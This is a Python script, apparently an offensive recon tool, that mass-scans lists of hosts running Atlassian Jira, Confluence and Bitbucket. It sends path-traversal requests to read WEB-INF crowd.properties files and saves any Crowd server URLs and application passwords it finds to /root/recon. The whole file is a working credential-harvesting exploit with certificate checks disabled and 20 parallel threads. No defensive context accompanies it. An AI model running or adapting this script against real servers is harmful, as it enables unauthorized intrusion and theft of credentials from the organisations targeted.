import concurrent.futures, http.client, re, ssl, sys

UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36"
P = {
    "jira": "/download/resources/jira.webresources:color-picker-popup/images/..::..::..::..::..::WEB-INF::classes::crowd.properties",
    "confluence": "/s/1/_/download/resources/com.atlassian.confluence.plugins.dashboard-actions/images/..::..::..::..::..::..::..::..::WEB-INF::classes::crowd.properties",
    "bitbucket": "/s/1.0/_/download/resources/com.atlassian.bitbucket.server.bitbucket-webpack-INTERNAL:avatar/avatar/..::..::..::..::..::WEB-INF::classes::crowd.properties",
}


def ctx():
    c = ssl.create_default_context()
    c.check_hostname = False
    c.verify_mode = ssl.CERT_NONE
    c.set_ciphers("DEFAULT@SECLEVEL=1")
    return c


def get(ip, host, path, timeout=12):
    try:
        conn = http.client.HTTPSConnection(ip, 443, timeout=timeout, context=ctx())
        conn.request("GET", path, headers={"Host": host, "User-Agent": UA, "Accept": "*/*"})
        r = conn.getresponse()
        b = r.read(200000).decode("utf-8", "replace")
        conn.close()
        return r.status, b
    except Exception:
        return None, ""


def one(line):
    f = line.rstrip("\n").split("\t")
    ip, host, product = f[0], f[1], f[2]
    path = P.get(product)
    if not path:
        return "%s\t%s\t-\tSKIP" % (ip, host)
    st, b = get(ip, host, path)
    if st == 200 and ("crowd.server.url" in b or "application.password" in b):
        out = re.sub(r"[^A-Za-z0-9._-]", "_", host or ip)[:50]
        open("/root/recon/crowd_%s.properties" % out, "w").write(b[:5000])
        return "%s\t%s\t%s\tCROWD\t%d\t%s" % (ip, host, product, len(b),
                                              " ".join(b.split())[:90])
    return "%s\t%s\t%s\tno\t%s\t" % (ip, host, product, st or "ERR")


hits = [l for l in open(sys.argv[1]) if l.strip()]
print("candidates", len(hits), flush=True)
with open("/root/recon/atl_crowd.tsv", "w") as f:
    with concurrent.futures.ThreadPoolExecutor(max_workers=20) as pool:
        for r in pool.map(one, hits):
            f.write(r + "\n")
            f.flush()
            if "\tCROWD\t" in r:
                print(r, flush=True)
print("finished", flush=True)
